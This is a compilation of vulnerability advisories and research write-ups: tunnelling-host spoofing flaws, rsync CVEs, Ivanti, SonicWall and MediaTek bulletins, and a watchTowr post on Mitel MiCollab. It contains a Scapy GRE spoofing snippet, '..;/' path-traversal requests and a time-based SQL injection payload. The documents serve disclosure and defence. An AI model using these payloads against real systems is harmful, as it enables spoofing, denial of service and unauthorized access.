Ref: https://github.com/vanhoefm/tunneltester/blob/main/README.md

Haunted by Legacy: Discovering and Exploiting Vulnerable Tunnelling Hosts

1. Introduction

This repository will contain scripts to test whether hosts/servers accept unauthenticated tunneling packets. In particular, it can test whether a host accepts IPIP, IP6IP6, GRE, GRE6, 4in6, and 6in4 packets using various scanning methods. A high-level description of the resulting attacks can be found below, and a detailed description and evaluation of all attacks can be found in our USENIX Security '25 paper.

NOTE: To prevent abuse, this scanning script is not yet publicly available. Only the README of the script is available. Please contact Angelos Beitis and Mathy Vanhoef to get access to the actual scanning scripts. We can also provide Z-Map modules to scan multiple hosts at once.

For advice on how to mitigate the resulting attacks, see Section 6 in our paper.

The vulnerabilities were reported to CERT/CC on May 16, 2024, and are being tracked using the identifier VU#199397 and using the CVE identifiers described below. We have also collaborated with the Shadowserver Foundation to better reach affected organizations, and they are now performing periodic scans for vulnerable tunneling hosts.

2. Vulnerability Summary

We found that many Internet hosts accept unauthenticated IPIP, IP6IP6, GRE, 6in4, or 4in6 tunneling packets from an arbitrary source. This means an adversary can send a tunneling packet to such vulnerable hosts, and the vulnerable host will process the encapsulated inner packet, without authenticating (the source of) the tunneling packet. An adversary can abuse this to perform Denail-of-Service attacks, to spoof their source IP address, and possibly to gain access to an organization's private or local network.

An example attack, written using the Python Scapy library, is:

from scapy.all import *
inner_packet = IP(src="1.1.1.1", dst="8.8.8.8")/ICMP()
vulnerable_host = "1.0.0.1"
send(IP(dst=vulnerable_host)/GRE()/inner_packet)

The vulnerable host at 1.0.0.1 will receive the IP/GRE packet and then process and forward the inner IP packet to its destination. More worrisome, many vulnerable hosts will perform no sanity checks on the inner packet. This means many vulnerable hosts can be abused to spoof the source IP addresses of packets. As shown in the above example, the forwarded packet can have the IP address 1.1.1.1, even though the real IP address of the vulnerable host is 1.0.0.1. This means an ICMP packet will be sent to 8.8.8.8 with as spoofed source address 1.1.1.1. Similar attacks are possible against IPv4 and IPv6 hosts using the protocols IPIP, IP6IP, GRE6, 6in4, or 4in6. Note that we use 'host' as a synonym for an IPv4 or IPv6 address and that we will use 'GRE6' when GRE packets are sent between IPv6 hosts.

2.1 Scanning Methods

To detect vulnerable hosts, we scanned the IPv4 and IPv6 Internet using three main methods. These methods are further explained in the indicated sections of our paper:

• Standard Scan (Section 3.2.1): In this scan, the inner packet is an ICMP ping reply with as source IP address the vulnerable host and as destination our scanning server. We also did a subnet spoofing variant of this scan, where the inner packet has as source an IP address within the same subnet as the host. Additionally, we did a spoofing variant, where the inner packet has a spoofed source IP address that is outside the subnet of the host.

• ICMP Echo/Reply (Ping) Scan (Section 3.2.2): In this scan, the inner packet is an ICMP ping request with as destination the vulnerable host itself and as source address our scanning server. In case the host is vulnerable, it will process the ping request, and send a ping reply to our scanning server.

• Time Exceeded (TTL) Scan (Section 3.2.3): In this scan, the inner packet is an IP packet with a Time-To-Live (TTL) equal to one, or an IPv6 packet with a Hop Limit equal to zero. This inner packet has as source address our scanning server, and has as destination address a random public IP address. If the host tries to forward this packet, and hence is vulnerable, it will generate an ICMPv4 or ICMPv6 Time Exceeded packet towards our scanning server.

For the 4in6 scans, where we send a tunneling packet to an IPv6 host with as inner packet an IPv4 packet, we cannot perform a ping scan because we do not know the IPv4 address of the IPv6 host being scanner. This also implies we can only do the spoofing variant of the standard scan, because we do not know the IPv4 subnet of the host.

For the 6in4 scans, where we send a tunneling packet to an IPv4 host with as inner packet an IPv6 packet, we can use the IPv4-Mapped IPv6 Address of the form ffff:IPV4_ADDRESS_IN_HEX:: to perform the standard and ping scans.

2.2 Impact Summary

• Denial-of-Service: An attack that is always possible is a Denial-of-Service attack by recursively encapsulating tunneling packets and sending this constructed packet to a vulnerable host. The vulnerable host will then recursively keep processing the encapsulated tunneling packets until the last nested packet is reached. This implies that sending a single packet will result in substantial processing time on the vulnerable host. In terms of CPU usage on the vulnerable host, this can result in an amplification factor of 70x when performing a DoS attack, and even higher when combined with IP fragmentation. Depending on the behaviour of the vulnerable tunneling host, other DoS attacks may also be possible, such as a Tunneled-Temporal Lensing Attack or Economic DoS attack. See our draft paper for details.

• Source Address Spoofing: An adversary can abuse vulnerable tunneling hosts to spoof their source IP address. This is because the vulnerable tunneling host will forward IP packets on behalf of the attacker. A host can spoof source IP addresses when the Standard "subnet spoof" and "spoof" scans indicate that the server is vulnerable.

• Internal Network Access: In case the vulnerable host is connected to a private network, then the open tunneling host can possibly be abused to gain access to all devices within this connected private network. This may particularly be possible if the vulnerable hosts also implement Network Address Translation (NAT). The precise details of this are still being investigated.

2.3 Assigned CVE Identifiers

• CVE-2020-10136: IPv4-in-IPv4 (IPIP) protocol (RFC2003).
• CVE-2024-7595: GRE and GRE6 (RFC2784).
• CVE-2024-7596: Generic UDP Encapsulation (GUE) (IETF Draft). We did not detect any vulnerable hosts using this draft protocol.
• CVE-2025-23018: IPv4-in-IPv6 (4in6) and IPv6-in-IPv6 (IP6IP6) protocols (RFC2473).
• CVE-2025-23019: IPv6-in-IPv4 (6in4) protocol (RFC4213).

3. Tool Prerequisites

You can execute the following commands to initialize the Python environment to execute the script. We tested these commands on Ubuntu 24.04:

python3 -m venv venv
source venv/bin/activate
pip install wheel scapy==2.4.3

You can then load this Python environment as root and execute the script:

sudo su
source venv/bin/activate
./tunnel_tester.py

4. Steps to Reproduce

After the prerequisite steps, you can execute the following command to test IPv4-capable hosts:

./tunnel_tester.py eth0 -t 183.232.161.42

The parameters are: * -i eth0: The interface that should be used to send and receive the packets. It must have an IPv4 address, otherwise, no tests are performed. * -t 183.232.161.42: This is the IPv4 address of the host being tested.

You can test IPv6-capable hosts using the following command:

./tunnel_tester.py eth0 -t6 2a00::1000

The parameters are: * -i eth0: The interface that should be used to send and receive the packets. It must have an IPv6 address, otherwise, no tests are performed. * -t6 2a00::1001: This is the IPv6 address of the host being tested.

The IPv4 and IPv6 tests can also be performed in a single execution:

./tunnel_tester.py -t 183.232.161.42 -t6 2a00::1001

For each performed test, the script will output SAFE if no vulnerability was detected, and VULNERABLE if a vulnerability was detected. Note that we recommend executing the script multiple times, since sometimes replies may get lost. You can also increase or decrease how long the script waits for replies using the --timeout parameter. For instance, by specifying --timeout 0.5 the script will only wait half a second for replies.

5. Advanced Usage

By default, the script will use the IP address associated to the given interface as the source address in transmitted packets. To use a different source address, or explicitly set the IP address in case it does not get detected properly, you can use:

• -P A.A.A.A: The IPv4 to use as source address in outgoing IP packets.
• -P6 2a00::1000: The IPv6 to use as source address in outgoing IP packets.

By default, the script will try to spoof IP addresses belonging to KU Leuven University in the standard spoof scan. To try to spoof a different source IP address you can use the following arguments:

• -s 212.224.129.90: Test whether the vulnerable host has the ability to spoof the given source IPv4 addresses.
• -s6 2a02:2c40:0:80::80:15: Test whether the vulnerable host has the ability to spoof the given source IPv6 addresses.

In the Time Expired TTL scans, the inner IP addresses by default belong to KU Leuven University. To use a different inner destination IP address, in order to trigger packet forward and generate the TTL Expired error, you can use the following arguments:

• -t 212.224.129.90: Test whether the vulnerable host has the ability to spoof the given source IPv4 addresses.
• -t6 2a02:2c40:0:80::80:15: Test whether the vulnerable host has the ability to spoof the given source IPv6 addresses.

When running the script on an AWS EC2 server, you need to explicitly provide the private and public IP address of the server using the following arguments:

• -p 172.0.0.1: The private IPv4 address of the scanning server.
• -P 1.2.3.4: The public IPv4 address of the scanning server.

6. Troubleshooting

• Ensure you are injecting packets on the correct interface!

• When you are testing your own vulnerable server, ensure that the accept_local and ip_forwarding sysctl's for both IPv4/6 are set. Otherwise the host may not be vulnerable to (all) attacks.

• With tcpdump you can use the filter "proto 4 or proto gre or proto 41" to capture the packets that the scanning tool is transmitting (this will not show possible replies).

Additional feedback

• https://infosec.exchange/@jeroen@secluded.ch/113831359550444599 that is only 20 years after http://www.dia.uniroma3.it/~compunet/tunneldiscovery/ and there are other similar papers that wrote this up. It is the full intent and purpose on how those protocols are supposed to be used, and spoofing is a network issue in this case (they rely on a trusted network... ouch). Source Address Validation is one solution, not using non-authenticated protocols another.

---

Related vulnerabilities: CVE-2025-23019CVE-2020-10136CVE-2025-23018CVE-2024-7596CVE-2024-7595

6 vulnerabilities in rsync server

As published in https://www.openwall.com/lists/oss-security/2025/01/14/3

Hello OSS-security,

Two independent groups of researchers have identified a total of 6 vulnerabilities in rsync. In the most severe CVE, an attacker only requires anonymous read access to a rsync server, such as a public mirror, to execute arbitrary code on the machine the server is running on.

Upstream has prepared patches for these CVEs. These fixes will be included in rsync 3.4.0 which is to be released shortly.

CVE Details: [1] Heap Buffer Overflow in Rsync due to Improper Checksum Length Handling

CVE ID: CVE-2024-12084

CVSS 3.1: 9.8 - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description: A heap-based buffer overflow flaw was found in the rsync daemon. This issue is due to improper handling of attacker-controlled checksum lengths (s2length) in the code. When MAX_DIGEST_LEN exceeds the fixed SUM_LENGTH (16 bytes), an attacker can write out of bounds in the sum2 buffer.

Affected Versions: >= 3.2.7 and < 3.4.0 Reporters: Simon Scannell from Google, Pedro Gallegos from Google, Jasiel Spelman from Google

Mitigation: Disable SHA* support by compiling with CFLAGS=-DDISABLE_SHA512_DIGEST and CFLAGS=-DDISABLE_SHA256_DIGEST.

---

[2] Info Leak via Uninitialized Stack Contents

CVE ID: CVE-2024-12085

CVSS 3.1: 7.5 - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Description: A flaw was found in the rsync daemon which could be triggered when rsync compares file checksums. This flaw allows an attacker to manipulate the checksum length (s2length) to cause a comparison between a checksum and uninitialized memory and leak one byte of uninitialized stack data at a time.

Affected Versions: < 3.4.0

Reporters: Simon Scannell from Google, Pedro Gallegos from Google, Jasiel Spelman from Google

Mitigation: Compile with -ftrivial-auto-var-init=zero to zero the stack contents.

---

[3] Rsync Server Leaks Arbitrary Client Files

CVE ID: CVE-2024-12086

CVSS 3.1: 6.1 - AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N

Description: A flaw was found in rsync. It could allow a server to enumerate the contents of an arbitrary file from the client's machine. This issue occurs when files are being copied from a client to a server. During this process, the rsync server will send checksums of local data to the client to compare with in order to determine what data needs to be sent to the server. By sending specially constructed checksum values for arbitrary files, an attacker may be able to reconstruct the data of those files byte-by-byte based on the responses from the client.

Affected Versions: < 3.4.0

Reporters: Simon Scannell from Google, Pedro Gallegos from Google, Jasiel Spelman from Google

---

[4] Path Traversal Vulnerability in Rsync

CVE ID: CVE-2024-12087

CVSS 3.1: 6.5 - AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Description: A path traversal vulnerability exists in rsync. It stems from behavior enabled by the --inc-recursive option, a default-enabled option for many client options and can be enabled by the server even if not explicitly enabled by the client. When using the --inc-recursive option, a lack of proper symlink verification coupled with deduplication checks occurring on a per-file-list basis could allow a server to write files outside of the client's intended destination directory. A malicious server could write malicious files to arbitrary locations named after valid directories/paths on the client.

Affected Versions: < 3.4.0 Reporters: Simon Scannell from Google, Pedro Gallegos from Google, Jasiel Spelman from Google

---

[5] --safe-links Option Bypass Leads to Path Traversal

CVE ID: CVE-2024-12088

CVSS 3.1: 6.5 - AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Description: A flaw was found in rsync. When using the --safe-links option, rsync fails to properly verify if a symbolic link destination contains another symbolic link within it. This results in a path traversal vulnerability, which may lead to arbitrary file write outside the desired directory.

Affected Versions: < 3.4.0

Reporters: Simon Scannell from Google, Pedro Gallegos from Google, Jasiel Spelman from Google

---

[6] Race Condition in Rsync Handling Symbolic Links

CVE ID: CVE-2024-12747

CVSS 3.1: 5.6 - AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N

Description: A flaw was found in rsync. This vulnerability arises from a race condition during rsync's handling of symbolic links. Rsync's default behavior when encountering symbolic links is to skip them. If an attacker replaced a regular file with a symbolic link at the right time, it was possible to bypass the default behavior and traverse symbolic links. Depending on the privileges of the rsync process, an attacker could leak sensitive information, potentially leading to privilege escalation.

Affected Versions: < 3.4.0

Reporters: Aleksei Gorban "loqpa"

Best Regards,

Red Hat Product Security

Nick Tait

He / Him (why? https://medium.com/gender-inclusivit/why-i-put-pronouns-on-my-email-signature-and-linkedin-profile-and-you-should-too-d3dc942c8743 )

Incident Commander - Product Security

https://www.redhat.com https://www.redhat.com

secalert@...hat.com for urgent response. My working hours may not be your working hours. Do not feel obligated to reply outside of your normal work schedule.

---

Related vulnerabilities: CVE-2024-12088CVE-2024-12087CVE-2024-12085CVE-2024-12084CVE-2024-12747CVE-2024-12086

Created Date Jan 8, 2025 4:55:55 PM Last Modified Date Jan 8, 2025 6:00:09 PM

Summary

https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-Policy-Secure-ZTA-Gateways-CVE-2025-0282-CVE-2025-0283?language=en_US

Ivanti has released an update that addresses one critical and one high vulnerability in Ivanti Connect Secure, Policy Secure and ZTA Gateways. Successful exploitation of CVE-2025-0282 could lead to unauthenticated remote code execution. CVE-2025-0283 could allow a local authenticated attacker to escalate privileges.

A patch is available now, please refer to the table below for each affected product.

We are aware of a limited number of customers’ Ivanti Connect Secure appliances being exploited by CVE-2025-0282 at the time of disclosure. We are not aware of these CVEs being exploited in Ivanti Policy Secure or ZTA gateways.

We are not aware of any exploitation of CVE-2025-0283 at the time of disclosure.

Exploitation of CVE-2025-0282 can be identified by the Integrity Checker Tool (ICT). We strongly advise all customers to closely monitor their internal and external ICT as a part of a robust and layered approach to cybersecurity to ensure the integrity and security of the entire network infrastructure.

Vulnerability Details

CVE Number

Description

CVSS Score (Severity)

CVSS Vector

CWE

CVE-2025-0282

A stack-based buffer overflow in Ivanti Connect Secure before version 22.7R2.5, Ivanti Policy Secure before version 22.7R1.2, and Ivanti Neurons for ZTA gateways before version 22.7R2.3 allows a remote unauthenticated attacker to achieve remote code execution.

9.0 (Critical)

CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE-121

CVE-2025-0283

A stack-based buffer overflow in Ivanti Connect Secure before version 22.7R2.5, Ivanti Policy Secure before version 22.7R1.2, and Ivanti Neurons for ZTA gateways before version 22.7R2.3 allows a local authenticated attacker to escalate their privileges.

7.0 (High)

CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-121

---

Related vulnerabilities: CVE-2025-0282CVE-2025-0283

Advisory ID	CVSS Score	Advisory Title	Associated CVEs
SNWLID-2025-0003	CVSS Score 8.2	SONICOS AFFECTED BY MULTIPLE VULNERABILITIES	- CVE-2024-40762: SonicOS SSLVPN Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) - CVSS Score 7.1. Use of a weak PRNG in the SonicOS SSLVPN authentication token generator can allow attackers to predict the token, potentially resulting in authentication bypass. - CVE-2024-53704: SonicOS SSLVPN Authentication Bypass Vulnerability - CVSS Score 8.2. - CVE-2024-53705: SonicOS SSH Management Server-Side Request Forgery Vulnerability - CVSS Score 6.5. - CVE-2024-53706: Gen7 SonicOS Cloud NSv SSH Config Function Local Privilege Escalation Vulnerability - CVSS Score 7.8.
SNWLID-2024-0013	CVSS Score 5.3	INTEGER-BASED BUFFER OVERFLOW VULNERABILITY IN SONICOS VIA IPSEC	- CVE-2024-40765: Integer-based buffer overflow vulnerability in SonicOS via IPsec. Allows denial of service and potential execution of arbitrary code. CVSS Score 5.3.
SNWLID-2025-0001	CVSS Score 6.5	SSL-VPN MFA BYPASS DUE TO UPN AND SAM ACCOUNT HANDLING IN MICROSOFT AD	- CVE-2024-12802: SSL-VPN MFA Bypass in SonicWALL SSL-VPN due to separate handling of UPN (User Principal Name) and SAM (Security Account Manager) account names when integrated with Microsoft Active Directory. Allows MFA bypass by exploiting alternative account name handling. CVSS Score 6.5.
SNWLID-2025-0004	CVSS Score 6.0	SONICOS MULTIPLE POST-AUTHENTICATION VULNERABILITIES	- CVE-2024-12803: Post-authentication stack-based buffer overflow vulnerability in SonicOS. CVSS Score 6.0. - CVE-2024-12805: Post-authentication format string vulnerability in SonicOS. CVSS Score 6.0. - CVE-2024-12806: Post-authentication absolute path traversal vulnerability in SonicOS. CVSS Score 4.9.

Source: https://i.imgur.com/VpI6jkI.png

---

Related vulnerabilities: CVE-2024-40765CVE-2024-12803CVE-2024-12806CVE-2024-12802CVE-2024-53704CVE-2024-12805CVE-2024-40762CVE-2024-53706CVE-2024-53705

Vulnerabilities affecting MediaTek components and further details are available directly from MediaTek. The severity assessment of these issues is provided directly by MediaTek.

CVE	References	Severity	Subcomponent
CVE-2024-20154	A-376809176	Critical	Modem
CVE-2024-20146	A-376814209	High	wlan
CVE-2024-20148	A-376814212	High	wlan
CVE-2024-20105	A-376821905	High	m4u
CVE-2024-20140	A-376816308	High	power
CVE-2024-20143	A-376814208	High	DA
CVE-2024-20144	A-376816309	High	DA
CVE-2024-20145	A-376816311	High	DA

The user must update the device as soon as possible.

---

Related vulnerabilities: CVE-2024-20143CVE-2024-20145CVE-2024-20105CVE-2024-20146CVE-2024-20148CVE-2024-20144CVE-2024-20154CVE-2024-20140

MediaTek has released its January 2025 Product Security Bulletin: https://corp.mediatek.com/product-security-bulletin/January-2025

Out-of-bounds write vulnerabilities in power management (CVE-2024-20140) and the Digital Audio subsystem (CVE-2024-20143, CVE-2024-20144, CVE-2024-20145). These vulnerabilities could lead to local privilege escalation, potentially allowing attackers to gain unauthorized access to sensitive data or system functionalities.

These vulnerabilities could lead to local privilege escalation, potentially allowing attackers to gain unauthorized access to sensitive data or system functionalities.

Other vulnerabilities addressed include issues in the WLAN driver (CVE-2024-20146, CVE-2024-20148) that could lead to remote code execution and an out-of-bounds write vulnerability in the M4U subsystem (CVE-2024-20105) that could allow for local privilege escalation.

MediaTek has notified device manufacturers (OEMs) about these vulnerabilities and provided corresponding security patches. Users are strongly encouraged to check for updates from their device manufacturers and apply them as soon as possible to mitigate these security risks.

---

Related vulnerabilities: CVE-2024-20143CVE-2024-20145CVE-2024-20105CVE-2024-20146CVE-2024-20148CVE-2024-20144CVE-2024-20140

A PoC for CVE-2024-49113 titled “Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability.” is provided by SafeBreach.

However, there was confusion between CVE-2024-49113 (DoS) and CVE-2024-49112 (RCE - CVSS 9.8), as noted by @wdormann@infosec.exchange:

https://github.com/SafeBreach-Labs/CVE-2024-49113/commit/eb76381b2927ce78c86743267d898b4ebfcbb187

---

Related vulnerabilities: CVE-2024-49113CVE-2024-49112

CVE-2024-20353 is a denial-of-service attack that allows a remote, unauthenticated attacker to cause the device to reload unexpectedly, resulting in a denial-of-service condition. CVE-2024-20358 is a command injection attack that allows a local, authenticated attacker with Administrator level privileges to run arbitrary commands as root on the underlying device operating system. CVE-2024-20359 is similar and is an arbitrary code execution attack that allows a local, authenticated attacker with Administrator level privileges to execute arbitrary code as root on the underlying device operating system.

---

Related vulnerabilities: CVE-2024-20359CVE-2024-20353CVE-2024-20358

Amnesty International identified how Serbian authorities used Cellebrite to exploit a zero-day vulnerability (a software flaw which is not known to the original software developer and for which a software fix is not available) in Android devices to gain privileged access to an environmental activist’s phone. The vulnerability, identified in collaboration with security researchers at Google Project Zero and Threat Analysis Group, affected millions of Android devices worldwide that use the popular Qualcomm chipsets. An update fixing the security issue was released in the October 2024 Qualcomm Security Bulletin.

Related bundle on Vulnerability-Lookup (Patch for Android).

Investigation from Amnesty International

https://github.com/AmnestyTech/investigations/tree/master/2024-12-16_serbia_novispy

“A Digital Prison”: Surveillance and the suppression of civil society in Serbia

https://securitylab.amnesty.org/latest/2024/12/a-digital-prison-surveillance-and-the-suppression-of-civil-society-in-serbia/

---

Related vulnerabilities: CVE-2024-38402CVE-2024-49848CVE-2024-21455CVE-2024-43047CVE-2024-33060

Where There’s Smoke, There’s Fire - Mitel MiCollab CVE-2024-35286, CVE-2024-41713 And An 0day

It is not just APTs that like to target telephone systems, but ourselves at watchTowr too.

We can't overstate the consequences of an attacker crossing the boundary from the 'computer system' to the 'telephone system'. We've seen attackers realise this in 2024, with hacks against legal intercept systems widely reported in the news.

VoIP platforms, which handle telephone calls for an organization, are a really juicy target for an APT. Imagine being able to listen in on the phone calls of your target, as they're happening - or even to interfere with them and block them at will! It's a very powerful thing to be able to do, and a godsend for an outcome-motivated attacker.

And that's before we even look at less complex attacks used by less sophisticated actors, like the classic 'register-a-premium-rate-number-and-call-it-from-hacked-accounts' scam, or the simple 'phone bombing', in which a target line is rendered unusable by a flood of bogus calls.

It is becoming very clear that specific device categories aren’t being targeted anymore. Instead, there’s a feeding frenzy of exploitation on any and all devices that reside in enterprise DMZ’s. No longer can you rest easy thinking that your less-popular branded device will slip through the radar of the APT!

Today we've got a great vulnerability (or two, or even three, depending what you count as 'a vulnerability') for you. We'll talk about all these in turn:

1. Reproducing CVE-2024-35286,
2. Realising we'd found an additional Authentication Bypass vulnerability (CVE-2024-41713),
3. A post-auth Arbitrary File Read that has not yet been patched

All found in Mitel's MiCollab platform.

CVE-2024-35286

As we're sure you can imagine, keeping on top of the incoming wave of CVE’s and sifting through the trashy vulnerabilities in PHP ‘hair salon booking’ or ‘pizza ordering systems’ which flood our feeds required superhuman strength and patience - but regularly we see gems - like CVE-2024-35286, a critical pre-authenticated SQL injection in Mitel’s MiCollab software (versions 9.8.0.33 and earlier).

This vulnerability - a SQL injection, CVE-2024-35286 - can supposedly

huehuehue

be reached only should a specific configuration be in place to expose the /npm-admin endpoint. No sensible admin would do this, but it's a trace of smoke that might signal a larger fire - we wanted to dive in and see what was going on.

Part of the reason for our keenness was the relatively high value of the MiCollab suite. For those unfamiliar with Mitel in general, they create a wide range of software for large enterprises and governments in the VoIP space, connecting employees on-the-go and providing conference solutions.

One of these is the software suite MiCollab, which boasts over 16,000 instances across the Internet. MiCollab comprises a softphone application deployed to endpoints and a central server component capable of coordinating telephone calls between endpoints and also to the outside world.

It's like a mini telephone exchange, and it boasts the features you'd expect - voicemail, file sharing, and even desktop sharing so that users can show each other what they're doing.

While it's obvious how dangerous compromise of features such as 'desktop sharing' are, there are usually larger dangers exposed by the telephone function itself.

Users often think of phone calls as more secure than textual communication, and so will frequently use voice-based communication for especially sensitive material. Let's not forget the advent of 'deep fake' technology, too, and the potential for voices to be 'cloned', leading to some crazy social engineering takeovers. CFCA, the Communications Fraud Control Association, pegs the annual cost of PBX systems alone at almost 5 billion USD - and that's just according to who responded to their survey, admitting they were compromised.

The real number is likely much higher......................

Suffice to say, our interest was firmly piqued by the truly catastrophic consequences of various types of telecom fraud, interception, and just general shenanigans.

We pack a bag of tools for the excursion, and we journey into the forest to inspect the source of the smoke.

Our route was initially blocked, as we couldn’t acquire the software without speaking to salespeople (a hacker’s worst nightmare, second only to podcasting nerds who sub-tweet on Twitter), and so we bit the bullet and "ordered a piece of hardware" (funnily enough it came with a watchTowr.nfo).

Assessing The Winds

In the meantime, we looked at the vulnerability's CVE description. We were quite intrigued by the designated component that holds the vulnerability, ‘NuPoint Unified Messaging’:

A SQL injection vulnerability has been identified in NuPoint Unified Messaging (NPM) component of Mitel MiCollab which, if successfully exploited, could allow a malicious actor to conduct a SQL injection attack.

While the "hardware" still hadn’t arrived on our desks, we were keen to try and find the vulnerability in the wild using a more investigatory mindset.

Typically, if the software is available, the first step is to begin to map out the attack surface through Apache configs, web.xml files, and suchlike (as we’ve talked about in our previous blog posts). However, with no software available to us, we looked to ‘open source’ our approach.

A short Google away we discovered a very helpful friend who had dumped the entire Apache config in their quest for technical help over a decade ago. Nice one, Internet Friend!

Whilst the post is from 2009, typical (enterprise) software doesn’t evolve that drastically over time, and we can already correlate paths that can be reached:

When looking at an Apache config, there are several key directives that dictate paths of interest. For example, we’re keen to look at the following:

• Location
• ProxyPass
• RewriteRule
• ProxyPassReverse
• Alias

To narrow our search, we tried to focus on routes matching the CVE’s affected NuPoint Unified Messaging (NPM) component. It doesn’t take a genius to work out that the following directives are more-than-likely going to be involved:

    # NuPoint Personal Web GUI URL Rewriting (Port 80)
    RewriteEngine on

    RewriteRule ^/index\\.html$ https://%{HTTP_HOST}/npm-pwg/loginForm.jsp [R]
    RewriteRule ^/login\\.html$ https://%{HTTP_HOST}/npm-pwg/loginForm.jsp [R]
    RewriteRule ^/npm-pwg$ https://%{HTTP_HOST}/npm-pwg/loginForm.jsp [R]
    RewriteRule ^/npm-pwg/(.*)\\.wav$ <http://127.0.0.1:8080/npm-pwg/$1.wav> [P]
    RewriteRule ^/npm-pwg/(.*)\\.tiff$ <http://127.0.0.1:8080/npm-pwg/$1.tiff> [P]
    RewriteRule ^/npm-pwg/extendedUmPlayMessage.jsp$ <http://127.0.0.1:8080/npm-pwg/extendedUmPlayMessage.jsp> [P]
    RewriteRule ^/npm-pwg/(.*)$ https://%{HTTP_HOST}/npm-pwg/$1 [R]

    ProxyPassReverse /npm-pwg/ <http://127.0.0.1/npm-pwg/>
        ProxyPassReverse /npm-pwg/ <http://127.0.0.1:8080/npm-pwg/>

We discovered that if we access anything under the path /npm-pwg/, we’re redirected to the initial starting point of /portal/. Perhaps this is just a dead end?

Well, when looking at Apache or Java applications, no ‘smoke investigation kit’ is complete without Orange Tsai’s trusty research centering around the input ..;/ , which can result in path normalization and the ability to traverse sub-contexts. Let’s apply Orange’s research to this uncooperative /npm-pwg/ path and see where we end up.

What Is Path Normalization?

To briefly explain Orange Tsai’s amazing research in the context of a Java application residing on Apache/Tomcat, it was discovered that the special syntax ..;/ can be used to truncate paths/traverse out of contexts.

This may all sound a bit confusing, if this is your first time hearing of it. It’s better explained with a straightforward example.

Suppose we have a Tomcat application application.war with a proxy such as Nginx sitting in front of it. A typical config might look like this:

server {
    listen 80;
    server_name your-domain.com;  # Replace with your actual domain

    location / {
        proxy_pass <http://127.0.0.1:8080/application/servlet>;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}

Given the above configuration, all requests to the root of the Nginx server are forwarded to the Tomcat server with the prefix /application/servlet by the proxy_pass rule. Straightforward, right?

With the path normalization technique, we can make a request which lands us in the root of the application server:

GET /..;/test HTTP/1.1
Host: Hostname

This would be akin to making the request directly to the application server, normally exposed only to localhost, and has the net effect of expanding the attack surface by quite an amount. Now, we can reach other servlets, never intended to be accessed by the outside world!

Sample Testing For Normalization

So how do you test for it? If we look at the below Apache configuration line:

ProxyPassReverse /npm-pwg/ <http://127.0.0.1:8080/npm-pwg/>

We can see that any value supplied after the path /npm-pwg/ is proxied to a different application server, residing on http://localhost:8080 (similarly to our example above). We can perform a quick ‘litmus test’ with two URLs, /npm-pwg/..;/ and /watchTowr/..;/, and we see that we get two different 404 pages back for the two URLs, indicating that two different contexts are being reached.

Request:

GET /npm-pwg/..;/ HTTP/1.1
Host: {{Hostname}}

Response:

HTTP/1.1 404 Not Found
Date: Mon, 26 Aug 2024 02:41:06 GMT
Server: Apache-Coyote/1.1
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=63072000; includeSubdomains
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=63072000; includeSubdomains
Content-Length: 0
Vary: User-Agent

vs

Request:

GET /watchTowr/..;/ HTTP/1.1
Host: {{Hostname}}

Response:

HTTP/1.1 404 Not Found
Date: Mon, 26 Aug 2024 02:42:56 GMT
Server: Apache
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=63072000; includeSubdomains
Content-Length: 315
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
</body></html>

A further ..;/ traversal results in a status code 400, indicative of the context traversal occurring!

So, What Does It All Mean?

Now we’ve confirmed that we’re alive and present within a secondary context, the attack surface has expanded. We can look to see what other routes are present within this context, referring to the trusty list of routes from the original tech support post.

If we look for other routes that reside on the 8080 application server, we can see an interesting path of /npm-admin/ :

ProxyPassReverse /npm-admin/ <http://127.0.0.1:8080/npm-admin/>

When trying to request this route at the root path, like a normal user would, we’re met with a boring status of 401 Unauthorized. However, in conjunction with our traversal, we can reach its content:

GET /npm-pwg/..;/npm-admin/ HTTP/1.1
Host: {{Hostname}}

Oooh, what’s this?!

Using our emergency toolset of 1337 pentester skillz, we poked and prodded the login page for all sorts of SQL injections and struck gold (albeit in a less-sophisticated-than-expected way).

Who would have guessed - this previously-hidden attack surface has a nice SQLi in the username:

POST /npm-pwg/..;/npm-admin/login.do HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 81

subAction=basicLogin&username=admin'||pg_sleep(4)--&password=admin&clusterIndex=0

We’ve found the source of our smoke! This is looking like CVE-2024-35286, which we set out to find. Can we be sure, though? Read on to find out (and find a further 0day!)

CVE-2024-41713 - Embers In The Blaze

We were quite confident we had reproduced CVE-2024-35286, the SQL injection we went looking for - but without the patch to correlate against we couldn’t be sure. We contacted Mitel to confirm our findings, who were quite helpful.

With a prompt response from Mitel’s PSIRT team, they were able to validate our assumption -

Regarding the time-based SQL injection vulnerability, this issue has been addressed and covered in the latest release of MiCollab. We have disclosed this issue through CVE-2024-35286 and issued a security advisory 24-0014.

Great, so our SQL injection finding was CVE-2024-35286 that we were looking for!

